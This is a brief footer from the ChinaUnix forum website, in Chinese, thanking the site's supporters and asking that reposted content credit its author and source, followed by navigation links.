感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP